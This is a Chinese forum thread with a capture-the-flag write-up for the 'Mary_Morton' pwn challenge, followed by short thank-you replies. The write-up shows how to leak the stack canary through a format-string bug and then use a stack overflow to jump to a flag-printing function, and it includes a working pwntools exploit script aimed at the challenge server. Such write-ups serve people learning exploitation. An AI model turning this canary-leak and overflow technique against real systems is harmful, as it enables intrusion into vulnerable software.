安辰- 发表于 2019-9-8 01:34

攻防世界pwn Mary_Morton

本帖最后由 安辰- 于 2019-9-8 12:02 编辑

1.查看保护及文件信息

64位,开启的NX、Canary保护

2.分析
无libc,但是有system(""/bin/cat ./flag"")


继续分析能够发现程序有两处漏洞,一处是栈溢出,一处是格式化字符串漏洞




程序有Canary保护,这个保护就是在栈上面抱一个标志canary,在程序执行结束后,会检测这个标志是否发生变化,若发生变化则程序报错,这个canary通常是在ebp的上面,同一个程序在每一次执行时这个标志canary是不同的,但是在执行过程中这个标志是不会发生变化的
所以,我们就是以利用格式化字符串来读取标志canary,然后再去利用栈溢出去执行system(""/bin/cat ./flag"")


3.攻击
首先计算一下格式化字符串的偏移,偏移为5,由于程序是64位的,所以%x不可以使用,改用%llx

由于buf的大小为0x90,并且标志canary是在ebp的上面,也就是buf的最低处,所以标志canary的偏移就是23


构造exp

from pwn import *context.arch = "amd64"
context.log_level = "debug"

#p = process("./Mary_Morton")
p = remote('111.198.29.45','54470')
canary = ""
p.sendlineafter("3. Exit the battle \n","2")
p.sendline("%23$p")
sleep(0.5)
canary = p.recv(18)
cc = int(canary,16)
print(cc)
p.sendlineafter("3. Exit the battle \n","1")

payload = 'a'*0x88 + p64(cc) + 'a'*8 + p64(0x4008DA)

p.send(payload)

p.interactive()

执行


exp中采用的是%p(输出地址值),由于使用%llx出了点小问题,所以改用的%p

如有写的不妥当之处,请指出
我会立即改正{:1_893:}

凡尘一梦 发表于 2019-9-9 15:11

TwilightZ 发表于 2019-9-9 10:07
虽然不知道是什么,但看起来好像很厉害的样子!

简单说就是不明觉厉:lol

vcc3000 发表于 2019-9-8 08:40


虽然不会,感谢楼主分享

dierzu 发表于 2019-9-8 09:45

不懂帮顶 谢谢楼主了

枭雄8888 发表于 2019-9-8 09:46

感谢楼主分享,虽然我看不懂

轩子巨2兔 发表于 2019-9-8 11:32

看不懂,还是支持一下哈哈

zysanjing1 发表于 2019-9-8 11:53

感谢分享

如墨小哥哥 发表于 2019-9-8 11:56

感谢楼主分享,虽然我看不懂

xiaohuihui2 发表于 2019-9-8 14:56

Mrk丶Nodejs 发表于 2019-9-8 15:15

pwn 大佬,加入我的团队吧?{:1_918:}

yaoyao7 发表于 2019-9-8 19:08

感谢楼主分享,正在搞pwn,多多学习
页: [1] 2 3
查看完整版本: 攻防世界pwn Mary_Morton